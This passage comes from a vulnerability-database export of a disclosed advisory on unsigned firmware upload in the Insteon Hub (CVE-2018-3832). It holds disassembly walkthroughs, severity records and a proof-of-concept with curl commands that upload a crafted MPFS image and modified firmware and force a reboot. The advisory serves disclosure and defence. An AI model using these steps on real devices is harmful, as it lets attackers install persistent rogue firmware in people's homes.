seg000:9D02F788 038 25 00 D6 26 addiu $s6, (curHTTP_data+1 - 0xA0000D2C)\n seg000:9D02F78C\n seg000:9D02F78C loc_9D02F78C:\n seg000:9D02F78C 038 90 83 82 93 lbu $v0, (byte_A00003C0 - unk_A0008030)($gp)\n seg000:9D02F790 038 C0 10 02 00 sll $v0, 3\n seg000:9D02F794 038 21 10 54 00 addu $v0, $s4\n seg000:9D02F798 038 04 00 44 90 lbu $a0, 4($v0) # hTCP\n seg000:9D02F79C 038 41 00 02 2E sltiu $v0, $s0, 0x41\n seg000:9D02F7A0 038 02 00 40 14 bnez $v0, loc_9D02F7AC\n seg000:9D02F7A4 038 21 30 00 02 move $a2, $s0\n seg000:9D02F7A8 038 40 00 06 24 li $a2, 0x40\n seg000:9D02F7AC\n seg000:9D02F7AC loc_9D02F7AC:\n seg000:9D02F7AC 038 21 28 60 02 move $a1, $s3 # buffer\n seg000:9D02F7B0 038 15 AD 40 0F jal TCPGetArray # [11]\n seg000:9D02F7B4 038 FF FF C6 30 andi $a2, 0xFFFF\n seg000:9D02F7B8 038 0A 00 40 10 beqz $v0, loc_9D02F7E4\n seg000:9D02F7BC 038 21 18 60 02 move $v1, $s3\n seg000:9D02F7C0 038 21 20 B1 02 addu $a0, $s5, $s1\n seg000:9D02F7C4 038 FF FF 46 24 addiu $a2, $v0, -1\n seg000:9D02F7C8 038 FF FF C6 30 andi $a2, 0xFFFF\n seg000:9D02F7CC 038 21 30 C6 02 addu $a2, $s6, $a2\n seg000:9D02F7D0\n seg000:9D02F7D0 loc_9D02F7D0:\n seg000:9D02F7D0 038 00 00 65 90 lbu $a1, 0($v1)\n seg000:9D02F7D4 038 00 00 85 A0 sb $a1, 0($a0)\n seg000:9D02F7D8 038 01 00 63 24 addiu $v1, 1\n seg000:9D02F7DC 038 FC FF 66 14 bne $v1, $a2, loc_9D02F7D0\n seg000:9D02F7E0 038 01 00 84 24 addiu $a0, 1\n seg000:9D02F7E4\n seg000:9D02F7E4 loc_9D02F7E4:\n seg000:9D02F7E4 038 21 88 51 00 addu $s1, $v0, $s1\n seg000:9D02F7E8 038 FF FF 31 32 andi $s1, 0xFFFF\n seg000:9D02F7EC 038 2C 0D 43 8E lw $v1, 0xD2C($s2) # remaining data to read\n seg000:9D02F7F0 038 23 18 62 00 subu $v1, $v0\n seg000:9D02F7F4 038 23 80 02 02 subu $s0, $v0 # [12]\n seg000:9D02F7F8 038 FF FF 10 32 andi $s0, 0xFFFF\n seg000:9D02F7FC 038 E3 FF 00 16 bnez $s0, loc_9D02F78C # loop\n seg000:9D02F800 038 2C 0D 43 AE sw $v1, 0xD2C($s2)\n \n\nThe POST body is saved in RAM at `0xA000B354` [10] and the data is read in 64-byte chunks [11] until the size defined by the \u201cContent-Length\u201d header is reached [12].\n \n \n ...\n seg000:9D02F854 038 01 00 02 24 li $v0, 1\n seg000:9D02F858 038 8F 81 83 93 lbu $v1, (insteon_is_fwpost_ok - unk_A0008030)($gp) # [13]\n seg000:9D02F85C 038 35 00 62 14 bne $v1, $v0, loc_9D02F934\n seg000:9D02F860 038 04 00 03 24 li $v1, 4\n seg000:9D02F864 038 03 00 03 24 li $v1, 3\n seg000:9D02F868 038 00 A0 02 3C lui $v0, 0xA000\n seg000:9D02F86C 038 B4 0D 43 A0 sb $v1, byte_A0000DB4\n seg000:9D02F870 038 01 A0 02 3C+ la $v0, insteon_post_buffer\n seg000:9D02F878 038 00 10 44 24 addiu $a0, $v0, (byte_A000C354 - 0xA000B354)\n seg000:9D02F87C 038 2D 00 03 24 li $v1, 0x2D\n seg000:9D02F880 038 00 00 43 A0 sb $v1, (insteon_post_buffer - 0xA000B354)($v0)\n seg000:9D02F884\n seg000:9D02F884 loc_9D02F884:\n seg000:9D02F884 038 01 00 42 24 addiu $v0, 1\n seg000:9D02F888 038 FE FF 44 54 bnel $v0, $a0, loc_9D02F884\n seg000:9D02F88C 038 00 00 43 A0 sb $v1, 0($v0)\n seg000:9D02F890 038 98 81 92 8F lw $s2, (dword_A00001C8 - unk_A0008030)($gp)\n seg000:9D02F894 038 02 8E 12 00 srl $s1, $s2, 24\n seg000:9D02F898 038 A8 96 41 0F jal btohexa_high\n seg000:9D02F89C 038 21 20 20 02 move $a0, $s1\n seg000:9D02F8A0 038 01 A0 10 3C lui $s0, 0xA001\n seg000:9D02F8A4 038 54 B3 02 A2 sb $v0, insteon_post_buffer\n seg000:9D02F8A8 038 AF 96 41 0F jal btohexa_low\n seg000:9D02F8AC 038 21 20 20 02 move $a0, $s1\n seg000:9D02F8B0 038 54 B3 11 26 addiu $s1, $s0, (insteon_post_buffer - 0xA0010000) # [14]\n seg000:9D02F8B4 038 01 00 22 A2 sb $v0, (byte_A000B355 - 0xA000B354)($s1)\n seg000:9D02F8B8 038 00 3C 50 7E ext $s0, $s2, 0x10, 8\n seg000:9D02F8BC 038 A8 96 41 0F jal btohexa_high\n seg000:9D02F8C0 038 21 20 00 02 move $a0, $s0\n seg000:9D02F8C4 038 02 00 22 A2 sb $v0, (byte_A000B356 - 0xA000B354)($s1)\n seg000:9D02F8C8 038 AF 96 41 0F jal btohexa_low\n seg000:9D02F8CC 038 21 20 00 02 move $a0, $s0\n seg000:9D02F8D0 038 03 00 22 A2 sb $v0, (byte_A000B357 - 0xA000B354)($s1)\n seg000:9D02F8D4 038 00 3A 50 7E ext $s0, $s2, 8, 8\n seg000:9D02F8D8 038 A8 96 41 0F jal btohexa_high\n seg000:9D02F8DC 038 21 20 00 02 move $a0, $s0\n seg000:9D02F8E0 038 04 00 22 A2 sb $v0, (byte_A000B358 - 0xA000B354)($s1)\n seg000:9D02F8E4 038 AF 96 41 0F jal btohexa_low\n seg000:9D02F8E8 038 21 20 00 02 move $a0, $s0\n seg000:9D02F8EC 038 05 00 22 A2 sb $v0, (byte_A000B359 - 0xA000B354)($s1)\n seg000:9D02F8F0 038 FF 00 50 32 andi $s0, $s2, 0xFF\n seg000:9D02F8F4 038 A8 96 41 0F jal btohexa_high\n seg000:9D02F8F8 038 21 20 00 02 move $a0, $s0\n seg000:9D02F8FC 038 06 00 22 A2 sb $v0, (byte_A000B35A - 0xA000B354)($s1)\n seg000:9D02F900 038 AF 96 41 0F jal btohexa_low\n seg000:9D02F904 038 21 20 00 02 move $a0, $s0\n seg000:9D02F908 038 07 00 22 A2 sb $v0, (byte_A000B35B - 0xA000B354)($s1)\n seg000:9D02F90C 038 21 20 20 02 move $a0, $s1 # [15]\n seg000:9D02F910 038 1F 00 10 3C lui $s0, 0x1F\n seg000:9D02F914 038 00 F0 05 36 ori $a1, $s0, 0xF000\n seg000:9D02F918 038 13 84 41 0F jal insteon_perform_fw_update # [16]\n seg000:9D02F91C 038 00 08 06 24 li $a2, 0x800\n \n\nAfter the `insteon_post_buffer` is filled with the firmware, the `insteon_is_fwpost_ok` is checked to be 1 [13] and the firmware is passed as first parameter [15] to the function that actually writes the firmware to the internal memory [16]. No signature checks are performed throughout the entire operation, so an attacker can upload any arbitrary firmware image.\n\n### Exploit Proof-of-Concept\n\nBy exploiting this bug, an attacker could follow these steps to flash a custom firmware to the device:\n \n \n 1- Create an MPFS image with just one file with name \"firmware.htm\".\n 2- Upload the custom MPFS image:\n $ curl -F \"i=@mpfs.bin\" -u ${sUsername}:${sPassword} \"http://${sInsteonIP}:25105/mpfsupload\"\n 3- Modify a valid \"prod_fw.hex\" Insteon firmware at will. Finally add \"\\r\\n\\r\\n\\r\\n\" at the beginning and remove the trailing signature.\n 4- Upload the modified firmware:\n $ curl --data-binary @prod_fw.hex -u ${sUsername}:${sPassword} \"http://${sInsteonIP}:25105/firmware.htm\"\n 5- When the device is rebooted, it will flash the new firmware into its internal flash.\n It's possible to force a reboot by exploiting an uninitialized variable dereference, which will trigger an exception handler that will reboot the device:\n $ curl -u ${sUsername}:${sPassword} \"http://${sInsteonIP}:25105/?\"\n The device will take a few seconds more than usual to reboot since it will flash the new firmware before booting.\n \n\n### Timeline\n\n2018-01-16 - Vendor Disclosure \n2018-01-18 - Vendor advised issues under evaluation \n2018-02-12 - 30 day follow up with vendor \n2018-03-09 - Vendor advised working on course of action \n2018-04-06 - Follow up with vendor on fix/timeline \n2018-04-12 - Vendor advised issues addressed & plan for beta testing \n2018-06-19 - Public disclosure\n", "published": "2018-06-19T00:00:00", "modified": "2018-06-19T00:00:00", "epss": [{"cve": "CVE-2018-3832", "epss": 0.00132, "percentile": 0.47794, "modified": "2023-12-03"}], "cvss": {"score": 8.5, "vector": "AV:N/AC:M/Au:S/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:M/Au:S/C:C/I:C/A:C", "accessVector": "NETWORK", "accessComplexity": "MEDIUM", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "baseScore": 8.5}, "severity": "HIGH", "exploitabilityScore": 6.8, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": true}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 9.0, "baseSeverity": "CRITICAL"}, "exploitabilityScore": 2.3, "impactScore": 6.0}, "href": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2018-0511", "reporter": "Talos Intelligence", "references": [], "cvelist": ["CVE-2018-3832"], "immutableFields": [], "lastseen": "2023-12-03T16:58:43", "viewCount": 448, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2018-3832"]}, {"type": "prion", "idList": ["PRION:CVE-2018-3832"]}, {"type": "seebug", "idList": ["SSV:97358"]}, {"type": "talosblog", "idList": ["TALOSBLOG:DB2AAA2E62EF3827DD86FE6704A534FE"]}]}, "score": {"value": 0.1, "vector": "NONE"}, "backreferences": {"references": [{"type": "cve", "idList": ["CVE-2018-3832"]}, {"type": "seebug", "idList": ["SSV:97358"]}, {"type": "talosblog", "idList": ["TALOSBLOG:DB2AAA2E62EF3827DD86FE6704A534FE"]}]}, "exploitation": null, "epss": [{"cve": "CVE-2018-3832", "epss": 0.00132, "percentile": 0.46752, "modified": "2023-05-06"}], "vulnersScore": 0.1}, "_state": {"dependencies": 1701623492, "score": 1701622996, "epss": 0}, "_internal": {"score_hash": "35416fbadda07341a2e8f70ce7d22934"}}
{"prion": [{"lastseen": "2023-11-22T02:46:09", "description": "An exploitable firmware update vulnerability exists in Insteon Hub running firmware version 1013. The HTTP server allows for uploading arbitrary MPFS binaries that could be modified to enable access to hidden resources which allow for uploading unsigned firmware images to the device. To trigger this vulnerability, an attacker can upload an MPFS binary via the '/mpfsupload' HTTP form and later on upload the firmware via a POST request to 'firmware.htm'.", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 9.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 6.0}, "published": "2018-08-23T14:29:00", "type": "prion", "title": "Design/Logic Flaw", "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 8.5, "vectorString": "AV:N/AC:M/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-3832"], "modified": "2023-02-03T18:39:00", "id": "PRION:CVE-2018-3832", "href": "https://www.prio-n.com/kb/vulnerability/CVE-2018-3832", "cvss": {"score": 8.5, "vector": "AV:N/AC:M/Au:S/C:C/I:C/A:C"}}], "cve": [{"lastseen": "2023-12-03T15:26:43", "description": "An exploitable firmware update vulnerability exists in Insteon Hub running firmware version 1013. The HTTP server allows for uploading arbitrary MPFS binaries that could be modified to enable access to hidden resources which allow for uploading unsigned firmware images to the device. To trigger this vulnerability, an attacker can upload an MPFS binary via the '/mpfsupload' HTTP form and later on upload the firmware via a POST request to 'firmware.htm'.", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 9.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 6.0}, "published": "2018-08-23T14:29:00", "type": "cve", "title": "CVE-2018-3832", "cwe": ["CWE-434"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 8.5, "vectorString": "AV:N/AC:M/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-3832"], "modified": "2023-02-03T18:39:00", "cpe": ["cpe:/o:insteon:hub_2245-222_firmware:1013"], "id": "CVE-2018-3832", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-3832", "cvss": {"score": 8.5, "vector": "AV:N/AC:M/Au:S/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:o:insteon:hub_2245-222_firmware:1013:*:*:*:*:*:*:*"]}], "seebug": [{"lastseen": "2018-06-26T22:15:51", "description": "### Summary\r\nAn exploitable firmware update vulnerability exists in Insteon Hub running firmware version 1013. The HTTP server allows for uploading arbitrary MPFS binaries that could be modified to enable access to hidden resources which allow for uploading unsigned firmware images to the device. To trigger this vulnerability, an attacker can upload an MPFS binary via the \"/mpfsupload\" HTTP form and later on upload the firmware via a POST request to \"firmware.htm\".\r\n\r\n### Tested Versions\r\nInsteon Hub 2245-222 - Firmware version 1013\r\n\r\n### Product URLs\r\nhttp://www.insteon.com/insteon-hub\r\n\r\n### CVSSv3 Score\r\n9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H\r\n\r\n### CWE\r\nCWE-489: Leftover Debug Code\r\n\r\n### Details\r\nInsteon produces a series of devices aimed at controlling and monitoring a home: wall switches, led bulbs, thermostats, cameras, etc. One of those is Insteon Hub, a central controller which allows an end-user to use his smartphone to connect to his own house remotely and manage any other device through it. The Insteon Hub board utilizes several MCUs, the firmware in question is executed by a Microchip PIC32MX MCU, which has a MIPS32 architecture.\r\n\r\nThe firmware uses Microchip's \"Libraries for Applications\" as core for the application code. Its functionality resides on a co-operative multitasking loop, which continuously executes all the existing tasks: the library already defines several tasks, e.g. for reading and sending network packets and calling the relative callbacks. Custom applications building on this library simply need to add new functions at the end of the loop, taking care of executing tasks as quickly as possible, or splitting them in several loop cycles, in order to let other tasks running smoothly.\r\n\r\nOne of the default tasks defined by Microchip's \"Libraries for Applications\" is called HTTPServer. Developers can use this task to handle HTTP requests but they have to implement a few functions on their own to handle for example \"GET\" and \"POST\" requests.\r\n\r\nThe HTTPServer task fills the global structure curHTTP, which has type HTTP_CONN.\r\n```\r\n// Stores extended state data for each connection\r\ntypedef struct\r\n{\r\n DWORD byteCount; // How many bytes have been read so far\r\n DWORD nextCallback; // Byte index of the next callback\r\n DWORD callbackID; // Callback ID to execute, also used as watchdog timer\r\n DWORD callbackPos; // Callback position indicator\r\n BYTE *ptrData; // Points to first free byte in data\r\n BYTE *ptrRead; // Points to current read location\r\n FILE_HANDLE file; // File pointer for the file being served\r\n FILE_HANDLE offsets; // File pointer for any offset info being used\r\n BYTE hasArgs; // True if there were get or cookie arguments\r\n BYTE isAuthorized; // 0x00-0x79 on fail, 0x80-0xff on pass\r\n HTTP_STATUS httpStatus; // Request method/status\r\n HTTP_FILE_TYPE fileType; // File type to return with Content-Type\r\n BYTE data[HTTP_MAX_DATA_LEN]; // General purpose data buffer\r\n #if defined(HTTP_USE_POST)\r\n BYTE smPost; // POST state machine variable\r\n #endif\r\n} HTTP_CONN;\r\n\r\nextern HTTP_CONN curHTTP;\r\n```\r\n\r\nThe developer implementing GET and POST handler functions can thus access curHTTP to implement its logic. Note that these handlers are only reached if a valid basic-auth string is provided.\r\n\r\nPages served by the HTTPServer are located in an \"MPFS\" image (Microchip Proprietary File System) which contain both static and dynamic resources. Insteon stores the \"MPFS\" image at offset 0x40000 in one of the three SPI flashes.\r\n\r\nBy default, the Microchip's HTTPServer defines an /mpfsupload path that can be used to upload any arbitrary \"MPFS\" binary:\r\n```\r\n// Configure MPFS over HTTP updating\r\n// Comment this line to disable updating via HTTP\r\n#define HTTP_MPFS_UPLOAD \"mpfsupload\"\r\n\r\n...\r\n\r\n#if defined(HTTP_MPFS_UPLOAD)\r\nstatic HTTP_IO_RESULT HTTPMPFSUpload(void)\r\n{\r\n BYTE c[16];\r\n WORD lenA, lenB;\r\n\r\n switch(curHTTP.httpStatus)\r\n {\r\n // New upload, so look for the CRLFCRLF\r\n case HTTP_MPFS_UP:\r\n\r\n lenA = TCPFindROMArray(sktHTTP, (ROM BYTE*)\"\\r\\n\\r\\n\", 4, 0, FALSE);\r\n\r\n ...\r\n ...\r\n#endif\r\n```\r\n\r\nIt's easy to see that Insteon left this functionality available:\r\n```\r\n$ curl -u Username:Password \"http://192.168.0.10:25105/mpfsupload\"\r\n<html><body style=\"margin:100px\"><form method=post action=\"/mpfsupload\" enctype=\"multipart/form-data\"><b>MPFS Image Upload</b><p><input type=file name=i size=40> <input type=submit value=\"Upload\"></form></body></html>\r\n```\r\n\r\nThe structure of an \"MPFS\" file is described in the file \"MPFS2.c\" of Microchip's \"Libraries for Applications\":\r\n```\r\nMPFS Structure:\r\n [M][P][F][S]\r\n [BYTE Ver Hi][BYTE Ver Lo][WORD Number of Files]\r\n [Name Hash 0][Name Hash 1]...[Name Hash N]\r\n [File Record 0][File Record 1]...[File Record N]\r\n [String 0][String 1]...[String N]\r\n [File Data 0][File Data 1]...[File Data N]\r\n\r\nName Hash (2 bytes):\r\n hash = 0\r\n for each(byte in name)\r\n hash += byte\r\n hash <<= 1\r\n Technically this means the hash only includes the \r\n final 15 characters of a name.\r\n\r\nFile Record Structure (22 bytes):\r\n [DWORD String Ptr][DWORD Data Ptr]\r\n [DWORD Len][DWORD Timestamp][DWORD Microtime]\r\n [WORD Flags]\r\n Pointers are absolute addresses within the MPFS image.\r\n Timestamp is the UNIX timestamp\r\n Microtime is currently unimplemented\r\n\r\nString Structure (1 to 64 bytes):\r\n [\"path/to/file.ext\"][0x00]\r\n\r\nFile Data Structure (arbitrary length):\r\n [File Data]\r\n```\r\n\r\nAs we can see there is no signature involved, so it's possible to add any new file to the MPFS Structure (note that the filename hash has to be updated too). The issue with leaving the MPFS upload feature enabled is that it could be used to alter the execution of an existing MCU firmware. Indeed, in this case it is even possible to write persistent code to the device by exploiting this feature.\r\n\r\nLet's have a look at an interesting path in the HTTP POST handler defined by Insteon:\r\n```\r\nseg000:9D030E3C insteon_HTTPExecutePost:\r\nseg000:9D030E3C\r\nseg000:9D030E3C var_20= -0x20\r\nseg000:9D030E3C var_4= -4\r\nseg000:9D030E3C\r\nseg000:9D030E3C 000 D0 FF BD 27 addiu $sp, -0x30\r\nseg000:9D030E40 030 2C 00 BF AF sw $ra, 0x30+var_4($sp)\r\nseg000:9D030E44 030 00 A0 02 3C lui $v0, 0xA000\r\nseg000:9D030E48 030 44 0D 44 90 lbu $a0, curHTTP_file # [1]\r\nseg000:9D030E4C 030 10 00 A5 27 addiu $a1, $sp, 0x30+var_20\r\nseg000:9D030E50 030 F8 8A 41 0F jal MPFSGetFilename\r\nseg000:9D030E54 030 14 00 06 24 li $a2, 0x14\r\nseg000:9D030E58 030 10 00 A4 27 addiu $a0, $sp, 0x30+var_20\r\nseg000:9D030E5C 030 07 9D 05 3C+ la $a1, aFirmware_htm # \"firmware.htm\"\r\nseg000:9D030E64 030 57 F5 41 0F jal memcmp # [2]\r\nseg000:9D030E68 030 0C 00 06 24 li $a2, 0xC\r\nseg000:9D030E6C 030 05 00 40 14 bnez $v0, loc_9D030E84\r\nseg000:9D030E70 030 10 00 A4 27 addiu $a0, $sp, 0x30+var_20\r\nseg000:9D030E74 030 40 BD 40 0F jal insteon_HTTPExecutePostFirmware\r\nseg000:9D030E78 030 00 00 00 00 nop\r\n```\r\n\r\nAs we can see, the requested path is present in curHTTP_file [1] and it's saved to var_20 by calling MPFSGetFilename. If the requested file is \"firmware.htm\" [2], the device will follow the path that performs a firmware update by calling insteon_HTTPExecutePostFirmware. Normally this file doesn't exist in the device, but it's possible to upload an \"MPFS\" image that contains it: this would effectively re-enable an unsigned firmware update functionality.\r\n```\r\nseg000:9D02F500\r\nseg000:9D02F500 insteon_HTTPExecutePostFirmware:\r\n...\r\nseg000:9D02F560 038 8F 81 80 A3 sb $zero, (insteon_is_fwpost_ok - unk_A0008030)($gp)\r\nseg000:9D02F564 038 90 83 83 93 lbu $v1, (byte_A00003C0 - unk_A0008030)($gp)\r\nseg000:9D02F568 038 C0 18 03 00 sll $v1, 3\r\nseg000:9D02F56C 038 00 A0 02 3C+ la $v0, httpStubs\r\nseg000:9D02F574 038 21 10 62 00 addu $v0, $v1, $v0\r\nseg000:9D02F578 038 04 00 44 90 lbu $a0, 4($v0) # hTCP\r\nseg000:9D02F57C 038 10 00 A0 AF sw $zero, 0x38+var_28($sp)\r\nseg000:9D02F580 038 14 00 A0 AF sw $zero, 0x38+var_24($sp)\r\nseg000:9D02F584 038 07 9D 05 3C+ la $a1, asc_9D075674 # \"\\r\\n\"\r\nseg000:9D02F58C 038 02 00 06 24 li $a2, 2\r\nseg000:9D02F590 038 25 AE 40 0F jal TCPFindArrayEx # [3]\r\nseg000:9D02F594 038 21 38 00 00 move $a3, $zero\r\n...\r\nseg000:9D02F5D0 038 02 00 C6 24 addiu $a2, 2\r\nseg000:9D02F5D4 038 04 00 44 90 lbu $a0, 4($v0) # hTCP\r\nseg000:9D02F5D8 038 21 28 00 00 move $a1, $zero # buffer\r\nseg000:9D02F5DC 038 15 AD 40 0F jal TCPGetArray # [4]\r\nseg000:9D02F5E0 038 FF FF C6 30 andi $a2, 0xFFFF\r\n...\r\nseg000:9D02F610 038 10 00 A0 AF sw $zero, 0x38+var_28($sp)\r\nseg000:9D02F614 038 14 00 A0 AF sw $zero, 0x38+var_24($sp)\r\nseg000:9D02F618 038 07 9D 05 3C+ la $a1, asc_9D075678 # \"\\r\\n\\r\\n\"\r\nseg000:9D02F620 038 04 00 06 24 li $a2, 4\r\nseg000:9D02F624 038 25 AE 40 0F jal TCPFindArrayEx # [5]\r\nseg000:9D02F628 038 21 38 00 00 move $a3, $zero\r\n...\r\nseg000:9D02F64C 038 04 00 44 90 lbu $a0, 4($v0) # hTCP\r\nseg000:9D02F650 038 21 28 00 00 move $a1, $zero # buffer\r\nseg000:9D02F654 038 15 AD 40 0F jal TCPGetArray # [6]\r\nseg000:9D02F658 038 FF FF C6 30 andi $a2, 0xFFFF\r\n...\r\nseg000:9D02F6D0 038 C0 18 03 00 sll $v1, 3\r\nseg000:9D02F6D4 038 00 A0 02 3C+ la $v0, httpStubs\r\nseg000:9D02F6DC 038 21 10 62 00 addu $v0, $v1, $v0\r\nseg000:9D02F6E0 038 89 AC 40 0F jal TCPIsGetReady # [7]\r\nseg000:9D02F6E4 038 04 00 44 90 lbu $a0, 4($v0) # hTCP\r\n...\r\nseg000:9D02F72C 038 10 00 A0 AF sw $zero, 0x38+var_28($sp)\r\nseg000:9D02F730 038 14 00 A0 AF sw $zero, 0x38+var_24($sp)\r\nseg000:9D02F734 038 07 9D 05 3C+ la $a1, a0200_0 # \":0200\"\r\nseg000:9D02F73C 038 05 00 06 24 li $a2, 5\r\nseg000:9D02F740 038 25 AE 40 0F jal TCPFindArrayEx # [8]\r\nseg000:9D02F744 038 21 38 00 00 move $a3, $zero\r\nseg000:9D02F748 038 21 88 40 00 move $s1, $v0\r\nseg000:9D02F74C 038 FF FF 02 34 li $v0, 0xFFFF\r\nseg000:9D02F750 038 03 00 22 12 beq $s1, $v0, loc_9D02F760\r\nseg000:9D02F754 038 01 00 02 24 li $v0, 1\r\nseg000:9D02F758 038 8F 81 82 A3 sb $v0, (insteon_is_fwpost_ok - unk_A0008030)($gp) # [9]\r\nseg000:9D02F75C 038 21 88 00 00 move $s1, $zero\r\n```\r\n\r\nAt [3] the TCP buffer is checked to contain \"\\r\\n\" and at [4] every byte is discarded up to and including \"\\r\\n\". The same then happens at [5] and [6], where any input is discarded up to and including \"\\r\\n\\r\\n\".\r\n\r\nThen, if data is available [7], the TCP buffer is checked to contain \":0200\" [8]. This sequence is present at the beginning of an Insteon firmware since it's using the Intel HEX format. Finally, if the correct sequence is found, the insteon_is_fwpost_ok variable will contain 1 [9].\r\n\r\nThe execution continues by reading the whole POST body:\r\n```\r\n...\r\nseg000:9D02F768 038 00 A0 14 3C+ la $s4, httpStubs\r\nseg000:9D02F770 038 00 A0 13 3C+ la $s3, curHTTP_data\r\nseg000:9D02F778 038 01 A0 15 3C+ la $s5, insteon_post_buffer # [10]\r\nseg000:9D02F780 038 00 A0 12 3C lui $s2, 0xA000\r\nseg000:9D02F784 038 2C 0D 56 26 addiu $s6, $s2, (curHTTP - 0xA0000000)\r\nseg000:9D02F788 038 25 00 D6 26 addiu $s6, (curHTTP_data+1 - 0xA0000D2C)\r\nseg000:9D02F78C\r\nseg000:9D02F78C loc_9D02F78C:\r\nseg000:9D02F78C 038 90 83 82 93 lbu $v0, (byte_A00003C0 - unk_A0008030)($gp)\r\nseg000:9D02F790 038 C0 10 02 00 sll $v0, 3\r\nseg000:9D02F794 038 21 10 54 00 addu $v0, $s4\r\nseg000:9D02F798 038 04 00 44 90 lbu $a0, 4($v0) # hTCP\r\nseg000:9D02F79C 038 41 00 02 2E sltiu $v0, $s0, 0x41\r\nseg000:9D02F7A0 038 02 00 40 14 bnez $v0, loc_9D02F7AC\r\nseg000:9D02F7A4 038 21 30 00 02 move $a2, $s0\r\nseg000:9D02F7A8 038 40 00 06 24 li $a2, 0x40\r\nseg000:9D02F7AC\r\nseg000:9D02F7AC loc_9D02F7AC:\r\nseg000:9D02F7AC 038 21 28 60 02 move $a1, $s3 # buffer\r\nseg000:9D02F7B0 038 15 AD 40 0F jal TCPGetArray # [11]\r\nseg000:9D02F7B4 038 FF FF C6 30 andi $a2, 0xFFFF\r\nseg000:9D02F7B8 038 0A 00 40 10 beqz $v0, loc_9D02F7E4\r\nseg000:9D02F7BC 038 21 18 60 02 move $v1, $s3\r\nseg000:9D02F7C0 038 21 20 B1 02 addu $a0, $s5, $s1\r\nseg000:9D02F7C4 038 FF FF 46 24 addiu $a2, $v0, -1\r\nseg000:9D02F7C8 038 FF FF C6 30 andi $a2, 0xFFFF\r\nseg000:9D02F7CC 038 21 30 C6 02 addu $a2, $s6, $a2\r\nseg000:9D02F7D0\r\nseg000:9D02F7D0 loc_9D02F7D0:\r\nseg000:9D02F7D0 038 00 00 65 90 lbu $a1, 0($v1)\r\nseg000:9D02F7D4 038 00 00 85 A0 sb $a1, 0($a0)\r\nseg000:9D02F7D8 038 01 00 63 24 addiu $v1, 1\r\nseg000:9D02F7DC 038 FC FF 66 14 bne $v1, $a2, loc_9D02F7D0\r\nseg000:9D02F7E0 038 01 00 84 24 addiu $a0, 1\r\nseg000:9D02F7E4\r\nseg000:9D02F7E4 loc_9D02F7E4:\r\nseg000:9D02F7E4 038 21 88 51 00 addu $s1, $v0, $s1\r\nseg000:9D02F7E8 038 FF FF 31 32 andi $s1, 0xFFFF\r\nseg000:9D02F7EC 038 2C 0D 43 8E lw $v1, 0xD2C($s2) # remaining data to read\r\nseg000:9D02F7F0 038 23 18 62 00 subu $v1, $v0\r\nseg000:9D02F7F4 038 23 80 02 02 subu $s0, $v0 # [12]\r\nseg000:9D02F7F8 038 FF FF 10 32 andi $s0, 0xFFFF\r\nseg000:9D02F7FC 038 E3 FF 00 16 bnez $s0, loc_9D02F78C # loop\r\nseg000:9D02F800 038 2C 0D 43 AE sw $v1, 0xD2C($s2)\r\n```\r\n\r\nThe POST body is saved in RAM at 0xA000B354 [10] and the data is read in 64-byte chunks [11] until the size defined by the \"Content-Length\" header is reached [12].\r\n```\r\n...\r\nseg000:9D02F854 038 01 00 02 24 li $v0, 1\r\nseg000:9D02F858 038 8F 81 83 93 lbu $v1, (insteon_is_fwpost_ok - unk_A0008030)($gp) # [13]\r\nseg000:9D02F85C 038 35 00 62 14 bne $v1, $v0, loc_9D02F934\r\nseg000:9D02F860 038 04 00 03 24 li $v1, 4\r\nseg000:9D02F864 038 03 00 03 24 li $v1, 3\r\nseg000:9D02F868 038 00 A0 02 3C lui $v0, 0xA000\r\nseg000:9D02F86C 038 B4 0D 43 A0 sb $v1, 